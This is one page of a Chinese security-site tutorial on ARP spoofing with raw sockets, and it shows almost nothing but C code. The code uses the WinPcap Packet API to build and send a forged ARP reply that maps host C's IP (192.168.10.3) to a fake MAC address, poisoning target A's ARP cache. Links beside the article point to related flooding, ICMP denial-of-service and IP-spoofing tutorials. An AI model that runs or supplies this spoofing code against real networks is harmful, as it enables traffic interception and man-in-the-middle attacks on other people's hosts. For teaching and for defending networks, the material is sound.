网络安全参考 | UNIX参考 | GPS参考 | 无线参考 | 在线手册 | OSBUG.ORG | SUNNY-NETWORK.COM
网站地图 RSS订阅
高级搜索 收藏本站
Home | 业界动态 | 防火墙 | IDS/IPS | VPN | PKI | Honeypot | Hacker/Intruder | 黑客技术 | 破解技术 | 加密技术 | 病毒防护 | 木马 | 反垃圾邮件 | 反流氓软件 | 漏洞 | 无线安全 | UNIX | Windows | 安全编程 | 安全软件 | TPM/TCG | 数据恢复 | 企业信息安全 | 个人信息安全
 当前位置: Home > 安全编程 > 网络编程 > 文章  
原始套接字透析之ARP欺骗
文章来源: 天极开发 文章作者: 宋宝华 发布时间: 2006-11-17   字体: [ ]
 

 ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

 if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
 {
  printf("Get Mac address error!\n");
 }
 memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
 {
  printf("Get Mac address error!\n");
  return 0;
 }

 memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)

 ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

 ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
 ARPPacket.arphdr.arp_pro = htons(EPT_IP);
 ARPPacket.arphdr.arp_hln = 6;
 ARPPacket.arphdr.arp_pln = 4;
 ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

 if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
 {
  printf("Get Mac address error!\n");
  return 0;
 }

 memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址
 ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址

 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
 {
  printf("Get Mac address error!\n");
  return 0;
 }

 memcpy(ARPPacket.arphdr.arp_tha, MacAddr, 6); //目标A的MAC地址
 ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址

 memcpy(szPacketBuf, (char*) &ARPPacket, sizeof(ARPPacket));
 PacketInitPacket(lpPacket, szPacketBuf, 60);

 if (PacketSetNumWrites(lpAdapter, 2) == FALSE)
 {
  printf("warning: Unable to send more than one packet ina single write ! \n ");
 }

 if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE)
 {
  printf("Error sending the packets!\n"); return 0;
 }

 printf("Send ok!\n");

 // close the adapter and exit
 PacketFreePacket(lpPacket);
 PacketCloseAdapter(lpAdapter);
 return 0;
}

 
推荐文章
·洪水攻击原理及代码实现全攻略(
·原始套接字透析之综合实例:网络
·原始套接字透析之实现IP地址欺骗
·原始套接字透析之实现包分析
·原始套接字透析之实现sniffer
·原始套接字透析之实现路由欺骗
·原始套接字透析之ICMP拒绝服务攻
·原始套接字透析之实现Ping
·原始套接字透析之Raw Socket基础
·黑客之旅 -- 原始套接字透析之前
 

 
共4页: 上一页 [1] [2] 3 [4] 下一页
↑返回顶部   打印本页   关闭窗口↓  

Google
 
Web oldhand.org unixreference.net meshmea.org
热点文章
·原始套接字透析之Raw So
·洪水攻击原理及代码实现
·原始套接字透析之综合实
·原始套接字透析之实现Pi
·黑客之旅 -- 原始套接字
·原始套接字透析之实现路
·原始套接字透析之实现包
·原始套接字透析之ICMP拒
相关分类
相关文章
·原始套接字透析之实现IP
·原始套接字透析之实现包
·原始套接字透析之综合实
·原始套接字透析之实现sn
·洪水攻击原理及代码实现
·原始套接字透析之实现路
·原始套接字透析之ICMP拒
·原始套接字透析之实现Pi
更多...
 
 

Copyright(c) 2001-2008 OLDHAND ORGANIZATION, All Rights reserved.
Power by DedeCms 织梦内容管理系统
$Id: article_article.html,v 1.3 2007/02/10 12:00:37 yjs Exp $